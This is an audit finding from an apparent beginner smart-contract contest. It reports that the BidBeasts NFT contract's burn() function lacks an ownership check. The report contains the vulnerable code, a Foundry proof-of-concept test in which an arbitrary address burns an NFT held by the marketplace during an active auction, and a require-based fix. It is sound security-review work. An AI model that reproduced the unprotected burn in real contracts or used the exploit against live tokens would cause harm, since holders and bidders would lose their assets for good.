Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unrestricted NFT Burn Function Allows Unauthorized Asset Destruction

ksiddharth346

Description

The burn() function in the BidBeasts NFT contract lacks fundamental ownership verification, allowing any arbitrary address to permanently destroy any NFT in existence.

@> function burn(uint256 _tokenId) public { //! burn is open with no valiation
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}

Risk

Likelihood: HIGH

  • The vulnerability stems from the complete absence of authorization checks in the burn() function.

Impact:

  • Any NFT can be permanently destroyed by any address

  • Contract-owned NFT permanently destroyed by unauthorized actor

  • Bidders lose ETH when auctioned NFTs are burned

Proof of Concept

  • This bug is exploited to burn contract-owned tokenIds that are actively listed on the marketplace.

  • The test fails because vm.expectRevert() doesn't trigger - meaning the burn succeeds. This confirms that any address can destroy any NFT, regardless of ownership or marketplace status.

  • A user mints and lists an NFT for auction

  • A bidder places a legitimate bid of 1.1 ETH

  • The NFT is now owned by the marketplace contract with active bidding

  • An unauthorized third party attempts to burn the NFT

function test_anyOneCanBurn() public {
_mintNFT();
_listNFT();
​
vm.deal(BIDDER_1, 100 ether);
vm.prank(BIDDER_1);
market.placeBid{value: 1.1 ether}(TOKEN_ID);
​
console.log("NFT owner before burn attempt:", nft.ownerOf(TOKEN_ID));
console.log("Market contract address:", address(market));
​
// Get the highest bid info
BidBeastsNFTMarket.Bid memory highestBid = market.getHighestBid(
TOKEN_ID
);
console.log("Highest bidder:", highestBid.bidder);
console.log("Highest bid amount:", highestBid.amount);
​
address attacker = makeAddr("attacker");
vm.prank(attacker);
​
// This should revert if the NFT contract has proper burn protection
vm.expectRevert();
nft.burn(TOKEN_ID);
}

Recommended Mitigation

  • This implementation ensures only authorized parties can burn NFTs, preventing the attack demonstrated in the PoC while maintaining proper token management capabilities.

​
function burn(uint256 _tokenId) public {
+ require(_isApprovedOrOwner(msg.sender, _tokenId), "Not authorized to burn");
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!